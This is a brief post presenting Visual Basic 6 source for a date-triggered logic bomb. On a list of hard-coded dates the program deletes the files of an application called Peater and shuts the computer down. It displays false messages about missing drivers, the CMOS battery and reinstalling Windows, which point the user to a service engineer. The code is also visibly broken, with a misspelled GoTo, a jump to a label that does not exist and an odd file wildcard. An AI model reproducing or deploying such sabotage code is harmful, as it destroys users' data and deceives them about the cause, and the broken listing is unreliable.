This programmed is written in Microsoft Visual Basic-6 for deleting a file & stop working
a Software on a particular Date as mention in the programmed.

Programme start
---------------
Dim a As String
Dim X,F, T

Private Sub Timer1_Timer()
Label1.Caption = Date
'Label2.Caption = Time
If Date = "1/5/2019" Then X = 1                     'SET DATE-1
If Date = "2/3/2019" Then X = 1                     'SET DATE-2
If Date = "3/2/2019" Then X = 1                     'SET DATE-3
If Date = "4/7/2019" Then X = 1                     'SET DATE-4
If Date = "5/5/2019" Then X = 1                     'SET DATE-5
If Date = "6/2/2019" Then X = 1                     'SET DATE-6
If Date = "7/7/2019" Then X = 1                     'SET DATE-7
If Date = "8/4/2019" Then X = 1                     'SET DATE-8
If Date = "9/9/2018" Then X = 1                     'SET DATE-9
If Date = "10/6/2018" Then X = 1                    'SET DATE-10
If Date = "11/4/2018" Then X = 1                    'SET DATE-11
If Date = "12/1/2018" Then X = 1                    'SET DATE-12
If Date = "9/5/2018" Then X = 1                     'DATE TESTING
If X = 1 Then GoTo CHKFILE Else GoTo OK
CHKFILE:
a = Dir("D:\Peater\Peater.exe")                     'FILE SEARCHING IN D: DRIVE & PEATER DIRECTORY
If Len(a) = 0 Then F=0 Else F=1 
If F=0 then CoTo FNF
If F=1 Then GoTo FDEL                                               
FNF:
Label1.Caption = "Driver Files Missing or Corrupt"  '(FNF) FILE NOT FOUND 
GoTo Z
FDEL:
Kill "D:\Peater\Peater.*.*"                         'IF FILE FOUND THEN (FDEL) FILE DELETE                               
Shell ("Shutdown -S")                               'SHUTDOWN COMPUTER
OK:
Label1.Caption = "Check CMOS Battery"               'DO NOTHING AND CLOSED PROGRAMME
Z:
Label2.Caption = "Reinstall Windows"                'FILE NOT FOUND THEM ACTION MRSSAGE
Label3.Caption = "Contact Service Engineer"         'FILE NOT FOUND THEM ACTION MRSSAGE
T = T + 1
If T = 10 Then GoTo SHUT
End Sub

Programme End
---------------